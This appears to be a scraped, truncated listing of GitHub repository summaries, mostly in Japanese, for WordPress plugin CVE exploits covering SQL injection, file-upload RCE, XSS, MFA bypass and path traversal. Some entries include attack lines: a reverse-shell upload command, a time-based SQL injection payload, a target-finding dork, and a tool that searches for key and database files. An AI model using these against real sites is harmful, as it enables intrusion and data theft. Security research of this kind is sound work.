CVE-2023-47504-POC

CVE-2023-47504 POC 针对 CVE-2023-47504 的利用程序。 根据 NIST 的描述，该漏洞应允许未经身份验证的用户访问 Elementor Website Builder 插件中的功能。 根据我对该漏洞的研究，以及从描述该漏洞的 Patchstack URL...

CVE-2024-24926

CVE-2024-24926 CVE-2024-24926 の脆弱性は WordPress の Brooklyn テーマに影響します 説明: CVE-2024-24926 の脆弱性は WordPress の Brooklyn テーマ バージョン 4.9.7.6 まで に影響し、信頼できないデータのデシリアライゼーション CWE-502 に関連しています。これにより、攻撃者が悪意のあるオブジェクトをサーバーに送信し、リモートコード実行につながる可能性があります。CVSS v3.1 の評価では、スコアは 7.5 高...

WordPress-Exploit-CVE-2024-1071

WordPress CVE 2024-1071 SQL Exploit このエクスプロイトは、WordPress バージョン 2.1.3 から 2.8.2 で動作し、認証されていない攻撃者が既存のクエリに追加の SQL クエリを挿入することを可能にします。これにより、データベースから機密情報を取得できます。 Dork: body="/wp-content/plugins/ultimate-member" 1 git clone https://github.com/Dogu589/WordPress-Exploit-CVE-2024-1071.git cd...

CVE-2020-24186_reverse_shell_upload

CVE-2020-24186 リバースシェルアップロード h3v0x 氏による エクスプロイト に基づいた WpDiscuz 7.0.4 用のエクスプロイト。 脆弱性を悪用し、リバース PHP シェルをアップロードします。着想は Blogger CTF から得ました。 exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost -l '192.168.1.9' -s 9001 使用例:...

CVE-2026-15253

CVE-2026-15253 Easy Media Replace = 0.2.0 - 認証済み（Author+）Stored Cross-Site Scripting 説明 Easy Media Replace プラグインは、メディア添付ファイルのタイトルを介した Stored Cross-Site Scripting（XSS）に対して脆弱です。Author が XSS ペイロードを使用してメディアファイルの名前を変更し、Admin または Editor がリストビューのメディアライブラリに移動して「Replace」リンクにホバーすると、ペイロードが実行されます。これは、プラグインが...

Jquery-File-Tree-1.6.6-Path-Traversal

Jquery-File-Tree-1.6.6-Path-Traversal Jquery File Tree 1.6.6 パストラバーサル エクスプロイト CVE-2017-1000170 Wordpress のデフォルト設定における jQueryFileTree victim.com/backup/admin およびそのサブパス内のすべての .zip ファイルと .sql ファイルを検索します 拡張子であることを示すドットを必ず指定してください xpljqueryFileTree.php -u victim.com -f .log,idrsa -a -r | -...

CVE-2024-44000-LiteSpeed-Cache

Poc LiteSpeed Cache CVE-2024-44000 エクスプロイト CVE-2024-44000 は、人気のWordPressプラグインである LiteSpeed Cache プラグインの脆弱性です。この脆弱性は LiteSpeed Cache のセッション管理に影響を与え、攻撃者が機密データに不正アクセスすることを可能にします。 スクリプトは以下の手順で動作します： 1. デバッグログからクッキーを抽出 : スクリプトは GET リクエストを送信して、サーバーから debug.log ファイル（wp-content/debug.log）を取得します。...

cve-2016-10924-POC

CVE-2016-10924-POC このリポジトリには、WordPressプラグイン ebook-download （バージョン 注記: このPoCは教育目的および許可されたテスト目的 に限ります。この情報の誤用は法的な結果を招く可能性があります。 必要条件 Python 3 requests ライブラリ（pip install requests でインストール） 使い方 1. リポジトリのクローン : git clone https://github.com/your-user/CVE-2016-10924-POC.git cd CVE-2016-10924-POC 2...

CVE-2022-4395

MASS CVE-2022-4395 使用方法 apt install python3 python3-pip -y pip3 install -r require.txt python3 main.py プレビュー 参照 https://wpscan.com/vulnerability/80407ac4-8ce3-4df7-9c41-007b69045c40...

CVE-2024-10924-Bypass-MFA-Wordpress-LAB

CVE-2024-10924 MFAバイパス WordPress - エクスプロイトラボ このリポジトリは、WordPress の CVE-2024-10924 脆弱性を悪用して、二要素認証（MFA）をバイパスし、WordPress 管理パネルへのアクセスを取得するためのラボを提供します。 前提条件 このラボを自分の環境に展開するには、以下の手順に従ってください。 VMware に WordPress をデプロイする LAB の zip を解凍し、VMware で Open をクリックしてマシンをインポートします。Ubuntu-Bypass-MFA-Wordpress.vmx...

CVE-2022-1598

CVE-2022-1598 WPQA IDは数値で、ブルートフォースが可能です！ Nucleiテンプレート: CVE-2022-1598.yaml ビデオPOC: https://www.youtube.com/watch?v=MbhiQKWvivQ 参考文献: https://wpscan.com/vulnerability/0416ae2f-5670-4080-a88d-3484bb19d8c8 https://vulners.com/cve/CVE-2022-1598...

wp-file-manager-CVE-2020-25213

WP-file-manager エクスプロイト CVE-2020-25213 WP-file-manager WordPress プラグイン（6.9）は、認証されていない任意のファイルアップロードに対して脆弱であり、システム全体が侵害される可能性があります。 詳細については、こちら に公開した私の記事を参照してください。 免責事項 私はこの脆弱性を発見したわけではなく、このCVEの功績を主張するものでもありません。私は、wordfence や seravo...

wp_hunter

wphunter Wordpress 플러그인의 취약점을 검색하기 위한 정적 분석 도구입니다. / \ / \ / | \ / | \ // /| / \ | / \ / \ \ \ / | | \ Y / | / | \ | \ /| | / /\ / ||| /|/|| /| \ | / // / / / | Author: @JosueEncinar Starting the process Total plugins 87509 Starting the analisys 모듈 추가 방법 이 도구는 정규 표현식 없이 업로드되었습니다. 검색을 위해...

CVE-2025-3515

CVE-2025-3515 - WordPressファイルアップロードRCE 使用方法 python3 exploit.py 概要 CVE-2025-3515 は、WordPressプラグイン「Drag and Drop Multiple File Upload for Contact Form 7」におけるファイルアップロードの脆弱性で、認証されていない攻撃者が悪意のあるファイルをアップロードし、リモートコード実行を達成することを可能にします。 プラグイン : drag-and-drop-multiple-file-upload-contact-form-7 影響を受けるバージョン :...

CVE-2023-6634

CVE-2023-6634 エクスプロイトスクリプト 説明 このリポジトリは、WordPress用LearnPressプラグイン（バージョン4.2.5.7まで）に見つかったCVE-2023-6634脆弱性を悪用するために設計されたPythonスクリプトを含んでいます。この脆弱性は、loadcontentviaajax関数における不適切な入力検証により、リモートコード実行（RCE）を可能にします。 免責事項...

CVE-2024-0757-Exploit

CVE-2024-0757 エクスプロイト 説明 WordPress用プラグイン「Insert or Embed Articulate Content into WordPress」は、すべてのバージョン（4.3000000023 までを含む）において、zip アーカイブ内の安全でないファイルアップロードにより、任意のファイルアップロードが可能となる脆弱性があります。これにより、認証されていない攻撃者が影響を受けるサイトのサーバー上に phar ファイルを含む zip ファイルをアップロードできるようになり、リモートコード実行が可能になる可能性があります。 !IMPORTANT CVSS...

WordPress-NotificationX-CVE-2024-1698

セットアップ docker-compose up --build クリーンアップ docker-compose down テスト Measure-Command curl.exe http://localhost/wp-json/notificationx/v1/analytics -Method Post -Body 'nxid=1337&type=clicks=IFASCIISUBSTRINGselect userpass from wpusers where id=1,1,1=36,SLEEP10,null-- -'...

POC-CVE-2023-3244

CVE-2023-3244 概念実証 こんにちは、これはWordPressプラグイン「comments-like-dislike」で発見されたCVE-2023-3244脆弱性の簡単な概念実証（PoC）です。この脆弱性は、プラグインバージョン1.2.0まで（1.2.0を含む）に影響します。この脆弱性を悪用するには、提供されているPythonスクリプトを参照してください。ただし、この問題はプラグインバージョン1.2.1で対応および修正済みであることに注意してください。 参考資料と関連リンク この脆弱性に関する詳細情報や外部資料については、National Vulnerability...

WP-CVE-2023-32243

WP-CVE-2023-32243 使い方 1. 依存関係がインストールされていることを確認してください: pip install requests 2. ターゲットリストファイルを使用してスクリプトを実行します: python2 file.py ⚠️ 免責事項 このリポジトリはセキュリティ研究および教育目的のみ で作成されました。 免責事項の詳細は、Jenderal92のカバーにある免責事項をご覧ください。こちら !!! で確認できます。...

CVE-2022-29455

CVE-2022-29455 Wordpressの脆弱性 - XSS（クロスサイトスクリプティング） 脆弱性の位置 https://add your target here/wp-content/plugins/elementor/assets/js/frontend.min.js 脆弱性のあるバージョン 例 - https://www.youtube.com/watch?v=4qvOkSbhcE...